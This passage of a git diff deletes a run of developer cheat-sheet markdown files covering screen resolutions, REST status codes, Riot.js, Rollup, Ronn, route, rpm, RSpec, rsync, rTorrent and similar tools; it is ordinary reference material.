-| `-i`   | Interactive               |
-
-## Also see
-
--   [Rename website](http://plasmasturm.org/code/rename/) _(plasmasturm.org)_
diff --git a/docs/content/cheat-sheets/resolutions.md b/docs/content/cheat-sheets/resolutions.md
deleted file mode 100644
index 5e60200d52..0000000000
--- a/docs/content/cheat-sheets/resolutions.md
+++ /dev/null
@@ -1,39 +0,0 @@
----
-title: Screen resolutions
-
-weight: -1
----
-
-## Resolutions
-
-{: .-one-column}
-
-### Mobile
-
-| Resolution | DPPX | Actual resolution | DPPI    | Actual PPI | Size | Devices                  |
-| ---------- | ---- | ----------------- | ------- | ---------- | ---- | ------------------------ |
-| 320 x 480  | @1x  | 320 x 480         | 163 ppi | 163 ppi    | 3.5" | iPhone 2G/3G/3GS         |
-| 320 x 480  | @2x  | 640 x 960         | 163 ppi | 326 ppi    | 3.5" | iPhone 4/4S              |
-| 320 x 568  | @2x  | 640 x 1136        | 163 ppi | 326 ppi    | 4"   | iPhone 5/5C/5S           |
-| 320 x 568  | @2x  | 640 x 1136        | 163 ppi | 326 ppi    | 4"   | iPhone SE                |
-| 375 x 667  | @2x  | 750 x 1334        | 163 ppi | 326 ppi    | 4.7" | iPhone 6/6S/7/8/SE2      |
-| 414 x 736  | @3x  | 1242 x 2208       | 133 ppi | 401 ppi    | 5.5" | iPhone 6+/6S+/7+/8+      |
-| 414 x 896  | @2x  | 828 x 1792        | 162 ppi | 326 ppi    | 6.1" | iPhone Xr/11             |
-| 375 x 812  | @3x  | 1125 x 2436       | 152 ppi | 458 ppi    | 5.8" | iPhone X/Xs/11 Pro       |
-| 414 x 896  | @3x  | 1242 x 2688       | 162 ppi | 458 ppi    | 6.5" | iPhone Xs Max/11 Pro Max |
-| ---        | ---  | ---               | ----    | ---        | ---  | ---                      |
-| 360 x 640  | @2x  | 720 x 1280        | 153 ppi | 306 ppi    | 4.8" | Galaxy S3                |
-| 360 x 640  | @3x  | 1080 x 1920       | 147 ppi | 441 ppi    | 5"   | Galaxy S4                |
-| 360 x 640  | @3x  | 1080 x 1920       | 144 ppi | 432 ppi    | 5.1" | Galaxy S5                |
-| 360 x 640  | @4x  | 1440 x 2560       | 144 ppi | 577 ppi    | 5.1" | Galaxy S6/Edge           |
-
-{: .-headers}
-
-### Tablet
-
-| Resolution | DPPX | Actual resolution | DPPI    | Actual PPI | Size | Devices          |
-| ---------- | ---- | ----------------- | ------- | ---------- | ---- | ---------------- |
-| 1024 x 768 | @2x  | 2048 x 1536       | 163 ppi | 326 ppi    | 7.9" | iPad Mini Retina |
-| 1024 x 768 | @2x  | 2048 x 1536       | 132 ppi | 264 ppi    | 9.7" | iPad Air         |
-
-{: .-headers}
diff --git a/docs/content/cheat-sheets/resources.md b/docs/content/cheat-sheets/resources.md
deleted file mode 100644
index 53a229ee35..0000000000
--- a/docs/content/cheat-sheets/resources.md
+++ /dev/null
@@ -1,49 +0,0 @@
----
-title: Resources
-subtitle: Resources
-excerpt: >-
-    A Node.js app runs in a single process, without creating a new thread for
-    every request. Node.js provides a set of asynchronous I/O primitives in its
-    standard library that prevent JavaScript code from blocking and generally,
-    libraries in Node.js are written using non-blocking paradigms, making blocking
-    behavior the exception rather than the norm.
-date: '2021-11-21'
-thumb_img_path: images/3.jpg
-thumb_img_alt: ReactJS
-content_img_path: images/3.jpg
-content_img_alt: ReactJS
-seo:
-    title: ReactJS
-    description: >-
-        A Node.js app runs in a single process, without creating a new thread for
-        every request. Node.js provides a set of asynchronous I/O primitives in its
-        standard library that prevent JavaScript code from blocking and generally,
-        libraries in Node.js are written using non-blocking paradigms, making
-        blocking behavior the exception rather than the norm.
-    extra:
-        - name: 'og:type'
-          value: article
-          keyName: property
-        - name: 'og:title'
-          value: ReactJS
-          keyName: property
-        - name: 'og:description'
-          value: ReactJS Cheat Sheet
-          keyName: property
-        - name: 'og:image'
-          value: images/3.jpg
-          keyName: property
-          relativeUrl: true
-        - name: 'twitter:card'
-          value: summary_large_image
-        - name: 'twitter:title'
-          value: ReactJS
-        - name: 'twitter:description'
-          value: ReactJS Cheat Sheet
-        - name: 'twitter:image'
-          value: images/3.jpg
-          relativeUrl: true
-template: page
----
-
-# Resources
diff --git a/docs/content/cheat-sheets/rest-api.md b/docs/content/cheat-sheets/rest-api.md
deleted file mode 100644
index 9137d1aab1..0000000000
--- a/docs/content/cheat-sheets/rest-api.md
+++ /dev/null
@@ -1,65 +0,0 @@
----
-title: RESTful API
-
-category: API
----
-
-### Status codes
-
-| Code                  | Description                                  |
-| --------------------- | -------------------------------------------- |
-| `200 OK`              | Successful get, patch (return a JSON object) |
-| `201 Created`         | Successful post (return a JSON object)       |
-| `202 Accepted`        | Successful post, delete, path - async        |
-| `204 No content`      | Successful delete                            |
-| `206 Partial content` | Successful get - async                       |
-
-### Error status
-
-| Code                       | Description                       |
-| -------------------------- | --------------------------------- |
-| `401 Unauthorized`         | Not authenticated                 |
-| `403 Forbidden`            | Authenticated, but no permissions |
-| `422 Unprocessable entity` | Validation                        |
-
-### Errors
-
-```
-HTTP/1.1 401 Unauthorized
-Content-Type: application/json
-{
-  'id': 'auth_failed',
-  'message': "You're not logged in."
-}
-```
-
-Here's an example of a possible error reply.
-
-### Versioning
-
-```
-GET /api/foo
-Accept: application/json; version=1
-```
-
-You can pass a `version=x` to the Accept request header. [Info here](https://github.com/interagent/http-api-design#version-with-accepts-header)
-
-### Authentication
-
-```
-curl -is https://$TOKEN@api.example.com/
-```
-
-### Methods
-
-| Request              | Description                   |
-| -------------------- | ----------------------------- |
-| `GET /articles/1`    | read, returns _200_           |
-| `PUT /articles/1`    | edit (or path), returns _200_ |
-| `DELETE /articles/1` | delete, returns _200_         |
-| `POST /articles`     | create, returns _201_         |
-| `GET /articles`      | list, returns _200_           |
-
-### References
-
--   [interagent/http-api-design](https://github.com/interagent/http-api-design) _(github.com)_
diff --git a/docs/content/cheat-sheets/riot.md b/docs/content/cheat-sheets/riot.md
deleted file mode 100644
index 9f08a1fc04..0000000000
--- a/docs/content/cheat-sheets/riot.md
+++ /dev/null
@@ -1,156 +0,0 @@
----
-title: Riot.js
-category: JavaScript libraries
-layout: default-ad
----
-
-## Tags
-
-```js
-/* tag-name.tag */
-<tag-name>
-    <div>hello {name}</div>
-    this.name = opts.name
-</tag-name>
-```
-
-```html
-<!-- in html -->
-<tag-name>
-    <script>
-        riot.mount('*');
-    </script>
-    <script>
-        riot.mount('tag-name');
-    </script>
-    <script>
-        riot.mount('tag-name', { title: 'my app', ... })
-    </script></tag-name
->
-```
-
-## Expressions
-
-```
-{value}
-{value || 'its a js expression'}
-
-<input checked={null}>   /* null values ignore the tag */
-<p class={ selected: true }>
-```
-
-### Loops
-
-```
-<li each={movies}>{title}</li>
-```
-
-### Conditional
-
-```
-<div if={error}>
-<div show={error}> /* show using display: '' */
-<div hide={error}> /* hide using display: none */
-```
-
-### Events
-
-```js
-<button onclick={go}>
-
-this.go = function (e) { ... }
-```
-
-## API
-
-```js
-this.update()
-this.update({ data: 'hi' }
-
-this.unmount()
-this.unmount(true) // keep parent tag
-
-riot.update() // update all
-```
-
-## Nesting
-
-```
-<my-tag>
-  <child></child>
-  var child = this.tags.child
-</my-tag>
-```
-
-### Names
-
-```
-<my-tag>
-  <child name='xyz'></child>
-  var child = this.tags.xyz
-</my-tag>
-```
-
-## Nested HTML
-
-```js
-<yield />
-```
-
-### Yield to/from
-
-```js
-<post>
-    <yield to="title">Hello</yield>
-    <yield to="body">Hey there world</yield>
-</post>
-```
-
-```js
-<post>
-    <yield from="title" />
-    <yield from="body" />
-</post>
-```
-
-## Router
-
-```js
-riot.route('customers/*/edit', (id) => {});
-riot.route('customers/234/edit');
-riot.route.start();
-riot.route.start(true); // exec the current url
-```
-
-## Lifecycle
-
-```js
-this.on('before-mount', function () {
-    // before the tag is mounted
-});
-
-this.on('mount', function () {
-    // right after the tag is mounted on the page
-});
-
-this.on('update', function () {
-    // allows recalculation of context data before the update
-});
-
-this.on('updated', function () {
-    // right after the tag template is updated
-});
-
-this.on('before-unmount', function () {
-    // before the tag is removed
-});
-
-this.on('unmount', function () {
-    // when the tag is removed from the page
-});
-
-// curious about all events ?
-this.on('all', function (eventName) {
-    console.info(eventName);
-});
-```
diff --git a/docs/content/cheat-sheets/rm.md b/docs/content/cheat-sheets/rm.md
deleted file mode 100644
index e78bf5123d..0000000000
--- a/docs/content/cheat-sheets/rm.md
+++ /dev/null
@@ -1,11 +0,0 @@
-# To remove all files and subdirs in <dir>:
-
-rm -rf <dir>
-
-# To ignore non-existent files:
-
-rm -f <dir>
-
-# To remove a file with this inode:
-
-find /tmp/ -inum 6666 -exec rm -i '{}' \;
diff --git a/docs/content/cheat-sheets/robots.txt.md b/docs/content/cheat-sheets/robots.txt.md
deleted file mode 100644
index 3c29e1ac23..0000000000
--- a/docs/content/cheat-sheets/robots.txt.md
+++ /dev/null
@@ -1,2 +0,0 @@
-User-agent: \*
-Disallow:
diff --git a/docs/content/cheat-sheets/rollup.md b/docs/content/cheat-sheets/rollup.md
deleted file mode 100644
index 10ec675a68..0000000000
--- a/docs/content/cheat-sheets/rollup.md
+++ /dev/null
@@ -1,194 +0,0 @@
----
-title: Rollup.js
-category: JavaScript libraries
-
-authors:
-    - github: ryanSN
-keywords:
-    - rollup.watch
-    - bundle
-    - rollup.config.js
-intro: |
-    [Rollup](https://rollupjs.org/) Rollup is a module bundler for JavaScript which compiles small pieces of code into something larger and more complex, such as a library or application.
----
-
-### Basic config
-
-#### rollup.config.js
-
-```js
-export default {
-    input: 'src/main.js',
-    output: {
-        file: 'bundle.js',
-        format: 'cjs'
-    }
-};
-```
-
-#### Terminal
-
-```bash
-npm install -D rollup
-```
-
-| Command                                | Description         |
-| -------------------------------------- | ------------------- |
-| `rollup -c -o bundle.js`               | bundle using config |
-| `rollup main.js --o bundle.js --f cjs` | bundle              |
-| `rollup --watch`                       | bundle continuously |
-
-You may need to use `./node_modules/.bin/rollup` as a command if you did not install rollup globally.
-
-### Multiple outputs
-
-#### rollup.config.js
-
-```js
-export default [
-    {
-        input: 'src/main.js',
-        output: {
-            file: __dirname + '/public/main.js',
-            format: 'cjs',
-            name: 'main'
-        }
-    },
-    {
-        input: 'src/vendor.js',
-        output: {
-            file: __dirname + 'public/vendor.js',
-            format: 'cjs',
-            name: 'vendor'
-        }
-    }
-];
-```
-
-This creates `main.js` and `vendor.js`.
-
-## Using plugins
-
-### Plugins
-
-#### Terminal
-
-```bash
-npm install -D @rollup/plugin-json
-```
-
-#### rollup.config.js
-
-```js
-import json from '@rollup/plugin-json';
-
-export default {
-    input: 'src/main.js',
-    output: {
-        file: 'bundle.js',
-        format: 'cjs'
-    },
-    plugins: [json()]
-};
-```
-
-### npm packages
-
-#### Terminal
-
-```bash
-npm install -D @rollup/plugin-node-resolve
-```
-
-#### rollup.config.js
-
-```js
-import resolve from '@rollup/plugin-node-resolve';
-
-export default {
-    input: 'src/main.js',
-    output: {
-        file: 'bundle.js',
-        format: 'cjs'
-    },
-    plugins: [resolve()]
-};
-```
-
-When you run a npm run build, no warning is emitted and contains the imported modules.
-
-### Peer dependencies
-
-#### Terminal
-
-```bash
-npm install -D @rollup/plugin-node-resolve
-```
-
-#### rollup.config.js
-
-```js
-import resolve from '@rollup/plugin-node-resolve';
-
-export default {
-    input: 'src/main.js',
-    output: {
-        file: 'bundle.js',
-        format: 'cjs'
-    },
-    plugins: [
-        resolve({
-            // pass custom options to the resolve plugin
-            customResolveOptions: {
-                moduleDirectory: 'node_modules'
-            }
-        })
-    ],
-    // indicate which modules should be treated as external
-    external: ['lodash']
-};
-```
-
-### Babel
-
-#### Terminal
-
-```bash
-npm install -D rollup-plugin-babel
-```
-
-#### rollup.config.js
-
-```js
-import resolve from '@rollup/plugin-node-resolve';
-import babel from 'rollup-plugin-babel';
-
-export default {
-    input: 'src/main.js',
-    output: {
-        file: 'bundle.js',
-        format: 'cjs'
-    },
-    plugins: [
-        resolve(),
-        babel({
-            exclude: 'node_modules/**' // only transpile our source code
-        })
-    ]
-};
-```
-
-#### src/.babelrc
-
-```js
-{
-  "presets": [
-    ["latest", {
-      "es2015": {
-        "modules": false
-      }
-    }]
-  ],
-  "plugins": ["external-helpers"]
-}
-```
diff --git a/docs/content/cheat-sheets/ronn.md b/docs/content/cheat-sheets/ronn.md
deleted file mode 100644
index 8a7b86ba63..0000000000
--- a/docs/content/cheat-sheets/ronn.md
+++ /dev/null
@@ -1,208 +0,0 @@
----
-title: Ronn
-category: Ruby libraries
-
-weight: -1
-prism_languages: [bash, ruby, json, markdown]
-intro: |
-    Ronn generates Man pages. See [ronn(1)](http://rtomayko.github.io/ronn/ronn.1.html), [ronn-format(7)](http://rtomayko.github.com/ronn/ronn-format.7.html). Also see it on GitHub: [rtomayko/ronn](https://github.com/rtomayko/ronn).
----
-
-## Getting started
-
-{: .-left-reference}
-
-### Installation
-
-#### Installation
-
-```bash
-gem install ronn
-```
-
-#### Usage
-
-```bash
-ronn foo.1.md        # creates foo.1.html
-ronn -r foo.1.md     # creates foo.1 (--roff)
-ronn -r -h foo.1.md  # builds --roff and --html
-ronn -m foo.1.md     # view as manpage
-```
-
-Ronn is a Ruby gem.
-
-### Basic template
-
-```markdown
-# name(1) -- short, single-sentence description
-
-## SYNOPSIS
-
-`name` [<optional>...] <flags>
-
-## DESCRIPTION
-
-A normal paragraph. This can span multiple lines and is terminated with two
-or more line endings just like Markdown.
-
-## OPTIONS
-
--   `-h`, `--help` :
-    Displays the help screen.
-
--   `--version` :
-    Displays version information.
-
-## EXAMPLES
-
-Indent examples with 4 spaces.
-
-    $ ls
-    $ ls -la
-
-## COPYRIGHT
-
-**PROJECTNAME** is copyright (c) 2015, Rico Sta. Cruz. Released under the MIT
-license.
-
-## SEE ALSO
-
-ronn-format(7), ronn(1)
-```
-
-## Formatting tags
-
-### Inline
-
-#### Bold
-
-```
-`code`
-**strong**
-```
-
-#### Underline
-
-```
-<variable>
-_emphasis_
-*emphasis*
-```
-
-### Linking
-
-#### Manual references
-
-```
-sh(1)
-markdown(7)
-```
-
-#### Sections
-
-```
-[STANDARDS][]
-[SEE ALSO][]
-[DIFFERENT TEXT][#SEE-ALSO]
-```
-
-#### URL links
-
-```
-[URL link](http://github.com/rstacruz)
-<http://github.com>
-```
-
-## Frequently-used sections
-
-{: .-one-column}
-
-### Sections
-
--   `## SYNOPSIS`
--   `## DESCRIPTION`
--   `## OPTIONS`
--   `## SYNTAX`
--   `## ENVIRONMENT`
--   `## RETURN VALUES`
--   `## STANDARDS`
--   `## SECURITY CONSIDERATIONS`
--   `## BUGS`
--   `## HISTORY`
--   `## AUTHOR`
--   `## COPYRIGHT`
--   `## SEE ALSO`
-    {: .-four-column}
-
-## Other CLI options
-
-### Options
-
-```bash
---pipe                       # write to stdout
---server, -S                 # serve in http://localhost:1207
-```
-
-```bash
---html, -5                   # default
---fragment, -f               # html without header/title/footer
-```
-
-```bash
---style=toc,80c              # toc (table of contents)
-                             # 80c (use 80c instead of 100c)
-                             # print (include print stylesheet)
-                             # dark
-```
-
-```bash
---manual="MY MANUAL"         # shown on top-center
---organization="RONN 0.7.0"  # shown on bottom-left
---date="YYYY-MM-DD"          # shown on bottom-center
-```
-
-## Sections
-
-| Section | Description                                   |
-| ------- | --------------------------------------------- |
-| `1`     | General commands                              |
-| `2`     | System calls                                  |
-| `3`     | C standard lib                                |
-| `4`     | Special files (/dev) and drivers              |
-| `5`     | File formats                                  |
-| `6`     | Games                                         |
-| `7`     | Misc                                          |
-| `8`     | System administration commands and procedures |
-
-See [Man page sections](http://www.december.com/unix/ref/mansec.html) (december.com).
-
-## Using with npm
-
-### npm scripts
-
-Place manual files in `man/xxx.1.md`, then in package.json:
-{: .-setup}
-
-```json
-"scripts": {
-  "prepublish": "npm run build-man",
-  "build-man": "if which ronn; then ronn man/*.md --html --roff --style=toc,80c --organization=\"@rstacruz\"; fi"
-},
-"directories": {
-  "man": "man"
-}
-```
-
-### marked-man
-
-```
-npm install -g marked-man
-marked-man foo.1.md > foo.1
-```
-
-#### Differences
-
--   No definition lists
--   Can't use `<br>`
-
-See [marked-man](https://github.com/kapouer/marked-man).
diff --git a/docs/content/cheat-sheets/route.md b/docs/content/cheat-sheets/route.md
deleted file mode 100644
index c332f8f485..0000000000
--- a/docs/content/cheat-sheets/route.md
+++ /dev/null
@@ -1,57 +0,0 @@
----
-tags: [networking]
----
-
-# To display routing table IP addresses instead of host names:
-
-route -n
-
-# To add a default gateway:
-
-route add default gateway 192.168.0.1
-
-# To add the normal loopback entry, using netmask 255.0.0.0 and associated with
-
-# the "lo" device (assuming this device was previously set up correctly with
-
-# ifconfig(8)):
-
-route add -net 127.0.0.0 netmask 255.0.0.0 dev lo
-
-# To add a route to the local network 192.56.76.x via "eth0". The word "dev" can be omitted here:
-
-route add -net 192.56.76.0 netmask 255.255.255.0 dev eth0
-
-# To delete the current default route, which is labeled "default" or 0.0.0.0 in the destination field of the current routing table:
-
-route del default
-
-# To add a default route (which will be used if no other route matches). All
-
-# packets using this route will be gatewayed through "mango-gw". The device
-
-# which will actually be used for that route depends on how we can reach
-
-# "mango-gw" - the static route to "mango-gw" will have to be set up before:
-
-route add default gw mango-gw
-
-# To add the route to the "ipx4" host via the SLIP interface (assuming that "ipx4" is the SLIP host):
-
-route add ipx4 sl0
-
-# To add the net "192.57.66.x" to be gateway through the former route to the SLIP interface:
-
-route add -net 192.57.66.0 netmask 255.255.255.0 gw ipx4
-
-# To install a rejecting route for the private network "10.x.x.x.":
-
-route add -net 10.0.0.0 netmask 255.0.0.0 reject
-
-# This is an obscure one documented so people know how to do it. This sets all
-
-# of the class D (multicast) IP routes to go via "eth0". This is the correct
-
-# normal configuration line with a multicasting kernel:
-
-route add -net 224.0.0.0 netmask 240.0.0.0 dev eth0
diff --git a/docs/content/cheat-sheets/rpm.md b/docs/content/cheat-sheets/rpm.md
deleted file mode 100644
index 0de6e128b8..0000000000
--- a/docs/content/cheat-sheets/rpm.md
+++ /dev/null
@@ -1,45 +0,0 @@
----
-tags: [packaging]
----
-
-# To install a package:
-
-rpm -ivh <rpm>
-
-# To remove a package:
-
-rpm -e <package>
-
-# To remove a package, but not its dependencies
-
-rpm -e --nodeps <package>
-
-# To find what package installs a file:
-
-rpm -qf <file>
-
-# To find what files are installed by a package:
-
-rpm -ql <package>
-rpm -qpl <rpm>
-
-# To find what packages require a package or file:
-
-rpm -q --whatrequires <package>
-rpm -q --whatrequires <file>
-
-# To list all installed packages:
-
-rpm -qa
-
-# To find a packages's dependencies:
-
-rpm -i --test <package>
-
-# To display checksum against a source:
-
-rpm -K <package>
-
-# To verify a package:
-
-rpm -V <package>
diff --git a/docs/content/cheat-sheets/rpm2cpio.md b/docs/content/cheat-sheets/rpm2cpio.md
deleted file mode 100644
index 0abe4a1cf9..0000000000
--- a/docs/content/cheat-sheets/rpm2cpio.md
+++ /dev/null
@@ -1,11 +0,0 @@
----
-tags: [packaging]
----
-
-# To list contents of an RPM:
-
-rpm2cpio <rpm-file> | cpio -vt
-
-# To extract contents of an RPM:
-
-rpm2cpio <rpm-file> | cpio -vid
diff --git a/docs/content/cheat-sheets/rspec-rails.md b/docs/content/cheat-sheets/rspec-rails.md
deleted file mode 100644
index e5d1d445f8..0000000000
--- a/docs/content/cheat-sheets/rspec-rails.md
+++ /dev/null
@@ -1,146 +0,0 @@
----
-title: Rspec-rails
-category: Ruby
----
-
-### Spec tasks
-
-    rake spec:controllers
-    rake spec:helpers
-    rake spec:lib
-    rake spec:mailers
-    rake spec:models
-    rake spec:requests
-    rake spec:routing
-    rake spec:views
-
-### Models
-
-```rb
-# spec/models/*.rb
-describe MyModel do
-end
-```
-
-### Controllers
-
-```rb
-# spec/controllers/*.rb
-describe MyController do
-  describe "POST update" do
-    render_views #optional
-
-    it "works" do
-      post :update, { user: { name: "john" } }
-
-      controller
-      controller.send ...
-
-      response
-      expect(response).to be_success
-      expect(response).to have_http_status(200)
-      expect(response).to render_template("index")
-      expect(response).to redirect_to '/..'
-
-      expect(assigns :article).to eq article
-
-      response.status
-    end
-  end
-end
-```
-
-### Request
-
-```js
-# spec/requests/*.rb
-describe "home page" do
-  it "displays the user's username after successful login" do
-    get "/login"
-    post "/login", username: "jdoe", password: "secret"
-
-    expect(response.status).to eql 200
-    expect(response).to redirect_to(...)
-    expect(response).to render_template(:show)
-    expect(response.body).to include 'hello'
-    follow_redirect!
-  end
-end
-```
-
-### Routing
-
-```rb
-# spec/routing/*.rb
-describe "routing to profiles" do
-  it "routes /profile/:username to profile#show for username" do
-    expect(get: "/profiles/jsmith").to route_to(
-      controller: "profiles",
-      action: "show",
-      username: "jsmith"
-    )
-  end
-
-  it "does not expose a list of profiles" do
-    expect(get: "/profiles").not_to be_routable
-  end
-end
-```
-
-### Helpers
-
-```rb
-# spec/helpers/*.rb
-describe EventsHelper do
-  describe "#link_to_event" do
-    it "displays the title, and formatted date" do
-      event = Event.new("Ruby Kaigi", Date.new(2010, 8, 27))
-
-      # helper is an instance of ActionView::Base configured with the
-      # EventsHelper and all of Rails' built-in helpers
-      expect(helper.link_to_event).to match /Ruby Kaigi, 27 Aug, 2010/
-    end
-  end
-end
-```
-
-### Features
-
-```rb
-# spec/features/*.rb
-feature 'Signing in' do
-  given(:something) { "hi" }
-
-  background do
-    User.make email: 'hi@gmail.com'
-  end
-
-  scenario 'Signing in with credentials' do
-  end
-end
-```
-
-### Matchers
-
-```rb
-be_a_new(Widget)  # new_record?
-render_template("new")
-render_template(partial: 'form', locals: {...})
-redirect_to(widgets_path)
-route_to(..)
-be_routable
-have_http_status(500)
-have_http_status(:created)
-```
-
-### Time helpers
-
-```
-travel_to Time.new(2014, 11, 14, 01, 04, 44)
-...
-travel_back
-
-travel_to Time.new(2014, 11, 14, 01, 04, 44) do
-  ...
-end
-```
diff --git a/docs/content/cheat-sheets/rspec.md b/docs/content/cheat-sheets/rspec.md
deleted file mode 100644
index 9c4301f6bb..0000000000
--- a/docs/content/cheat-sheets/rspec.md
+++ /dev/null
@@ -1,200 +0,0 @@
----
-title: RSpec
-category: Ruby
----
-
-### Invoking tests
-
-```sh
-rake -T spec      # List spec tasks
-
-rake spec         # Run all
-
-rake spec/models/mymodel_spec.rb
-rake spec/models/mymodel_spec.rb:27
-```
-
-## Writing tests
-
-```rb
-describe "A User (in general)" do
-  include UserSpecHelper
-
-  subject { Person.new }
-
-  let(:admin) { Person.new(role: :admin) }
-
-  context "setter methods" do
-    it "should do this" do
-      pending "some other thing"
-
-      expect(subject.name).to eq 'x'
-    end
-  end
-end
-```
-
-### Before/after
-
-```rb
-before :each do
-  # before all tests
-end
-
-before do
-  # before this suite
-end
-
-after do
-  # after this suite
-end
-```
-
-### Subjects
-
-```rb
-subject { CheckingAccount.new }
-it { is_expected.to be_empty }
-
-# also names: subject(:account) { ... }
-```
-
-## Expectations
-
-```rb
-target.should eq 1
-target.should_not eq 1
-
-expect(target).to eq 1
-expect(target).not_to eq 1
-```
-
-### Numeric
-
-```rb
-expect(5).to be < 6
-expect(5).to == 5
-expect(5).to equal value
-expect(5).to be_between(1, 10)
-expect(5).to be_within(0.05).of value
-```
-
-### Comparison
-
-```rb
-expect(x).to be value
-expect(x).to satisfy { |arg| ... }
-expect(x).to match /regexp/
-```
-
-### Predicate
-
-```rb
-expect(x).to be_zero    # FixNum#zero?
-expect(x).to be_empty   # Array#empty?
-expect(x).to have_key   # Hash#has_key?
-```
-
-### Objects
-
-```rb
-expect(obj).to be_an_instance_of MyClass
-expect(obj).to be_a_kind_of MyClass
-expect(obj).to respond_to :save!
-```
-
-### Control flow
-
-```rb
-expect { user.save! }.to raise_error
-expect { user.save! }.to raise_error(ExceptionName, /msg/)
-expect { user.save! }.to throw :symbol
-```
-
-### Enumerables/arrays
-
-```rb
-expect(list).to include(<object>)
-
-expect(list).to have(1).things
-expect(list).to have_at_least(2).things
-expect(list).to have_at_most(3).things
-
-expect(list).to have(2).errors_on(:field)
-```
-
-### Change
-
-```rb
-expect { thing.approve! }.to \
-  change(thing, :status)
-  .from(Status::AWAITING_APPROVAL)
-  .to(Status::APPROVED)
-
-expect { thing.destroy }.to \
-  change(Thing, :count)
-  .by(-1)
-```
-
-## Doubles
-
-```rb
-book = double('book')
-book = instance_double('Book', pages: 250)
-```
-
-### Method stubs
-
-```rb
-allow(die).to receive(:roll)
-allow(die).to receive(:roll) { 3 }
-allow_any_instance_of(Die).to receive(:roll)
-
-expect(die).to receive(:roll)
-  .with(1)
-  .with(1, true)
-  .with(boolean)
-  .with(anything)
-  .with(any_args)
-  .with(1, any_args)
-  .with(no_args)
-  .with(hash_including(a: 1))
-  .with(hash_excluding(a: 1))
-  .with(array_including(:a, :b))
-  .with(array_excluding(:a, :b))
-  .with(instance_of(Fixnum))
-  .with(kind_of(Numeric))
-  .with(<matcher>)
-
-  .once
-  .twice
-  .exactly(n).times
-  .at_least(:once)
-  .at_least(:twice)
-  .at_least(n).times
-  .at_most(:once)
-  .at_most(:twice)
-  .at_most(n).times
-```
-
-https://relishapp.com/rspec/rspec-mocks/docs
-
-## Spec helpers
-
-```rb
-module UserSpecHelper
-  def valid_user_attributes
-    { :email => "joe@bloggs.com",
-      :username => "joebloggs",
-      :password => "abcdefg"}
-  end
-end
-```
-
-```rb
-describe User do
-  include UserSpecHelper
-
-  ...
-end
-```
diff --git a/docs/content/cheat-sheets/rss2email.md b/docs/content/cheat-sheets/rss2email.md
deleted file mode 100644
index 2bbf87b34a..0000000000
--- a/docs/content/cheat-sheets/rss2email.md
+++ /dev/null
@@ -1,23 +0,0 @@
-# To list all feeds:
-
-r2e list
-
-# To convert RSS entries to email:
-
-r2e run
-
-# To add a new feed:
-
-r2e add <feed-address>
-
-# To add a new feed with new email address:
-
-r2e add <feed-address> [new-email-address]
-
-# To delete a feed :
-
-r2e delete <number-of-feed-in-list>
-
-# To get help:
-
-r2e -h
diff --git a/docs/content/cheat-sheets/rst.md b/docs/content/cheat-sheets/rst.md
deleted file mode 100644
index 87fd4f27dc..0000000000
--- a/docs/content/cheat-sheets/rst.md
+++ /dev/null
@@ -1,52 +0,0 @@
----
-title: ReStructuredText
-category: Markup
----
-
-### Comments
-
-    .. @theme 2010
-    .. include:: ../themes/2010/common.rst
-    .. contents::
-    .. |substitute| replace:: replacement name
-
-### Headings
-
-    Heading
-    =======
-
-    .. class:: brief
-
-    Hello there. |substitute| **This is bold**
-
-     - Bullet list with a link_ (or `link with words`_)
-     - Yes
-
-    .. _link: http://link.org
-
-### PDF page break
-
-    .. raw:: pdf
-
-       PageBreak oneColumn
-
-### Link targets
-
-    Internal link target_.
-
-    .. _target:
-
-    This is where _target will end up in.
-
-### Tables (?)
-
-    .. class:: hash-table
-
-    .. list-table::
-
-       * - :key:`Cuisine:`
-         - :val:`French/fusion`
-       * - :key:`Number of ingredients:`
-         - :val:`8`
-       * - :key:`Preparation time:`
-         - :val:`30 hours`
diff --git a/docs/content/cheat-sheets/rsync.md b/docs/content/cheat-sheets/rsync.md
deleted file mode 100644
index 6253c80c53..0000000000
--- a/docs/content/cheat-sheets/rsync.md
+++ /dev/null
@@ -1,95 +0,0 @@
----
-title: Rsync
-category: CLI
-
-weight: -1
----
-
-### Basic example
-
-```bash
-# syncing folder src into dest:
-rsync -avz ./src /dest
-# syncing the content of src into dest:
-rsync -avz ./src/ /dest
-```
-
-### OSX
-
-```bash
---exclude '.Trashes'
---exclude '.Spotlight-V100'
---exclude '.fseventsd'
-```
-
-### Transfer options
-
-```bash
--z, --compress
--n, --dry-run
-    --partial   # allows resuming of aborted syncs
-    --bwlimit=RATE    # limit socket I/O bandwidth
-```
-
-### Display options
-
-```bash
--q, --quiet
--v, --verbose
-    --stats
--h, --human-readable
-    --progress
--P                     # same as --partial --progress
-```
-
-### Skipping options
-
-```bash
--u, --update     # skip files newer on dest
--c, --checksum   # skip based on checksum, not mod-time & size
-```
-
-### Backup options
-
-```bash
--b, --backup           # backup with suffix
-    --suffix=SUFFIX    # default ~ without --backup-dir
-    --backup-dir=DIR
-```
-
-### Include options
-
-```bash
---exclude=PATTERN
---include=PATTERN
-```
-
-```bash
---exclude-from=FILE
---include-from=FILE
---files-from=FILE    # read list of filenames from FILE
-```
-
-```bash
--C, --cvs-exclude    # exclude from local/global .cvsignore
-```
-
-### Archive options
-
-```bash
--a, --archive    # archive (-rlptgoD)
-```
-
-```bash
--r, --recursive
--l, --links      # copy symlinks as links
--p, --perms      # preserve permissions
--t, --times      # preserve times
--g, --group      # preserve group
--o, --owner      # preserve owner
--D               # same as --devices --specials
-```
-
-```bash
---delete         # Delete extra files
-```
diff --git a/docs/content/cheat-sheets/rtorrent.md b/docs/content/cheat-sheets/rtorrent.md
deleted file mode 100644
index b1fffcb18c..0000000000
--- a/docs/content/cheat-sheets/rtorrent.md
+++ /dev/null
@@ -1,63 +0,0 @@
----
-title: rTorrent
-category: CLI
-
-intro: |
-    [rTorrent](https://rakshasa.github.io/rtorrent/) is a command-line torrent application. Here are some shortcut keys.
----
-
-## Shortcuts
-
-### Global
-
-| `^q` | Quit |
-{: .-shortcuts}
-
-### Main view
-
-| Shortcut    | Description                       |
-| ----------- | --------------------------------- |
-| `bksp`      | Add torrent                       |
-| ---         | ---                               |
-| `->`        | View download                     |
-| ---         | ---                               |
-| `1` _-_ `7` | Change view                       |
-| ---         | ---                               |
-| `^S`        | Start download                    |
-| `^D`        | Stop download (or remove stopped) |
-| `^K`        | Close a torrent                   |
-| ---         | ---                               |
-| `+` _/_ `-` | Change priority                   |
-
-{: .-shortcuts}
-
-### Throttling
-
-#### Upload
-
-| `a` _/_ `s` _/_ `d` | Increase upload throttle by 1/5/50 KB |
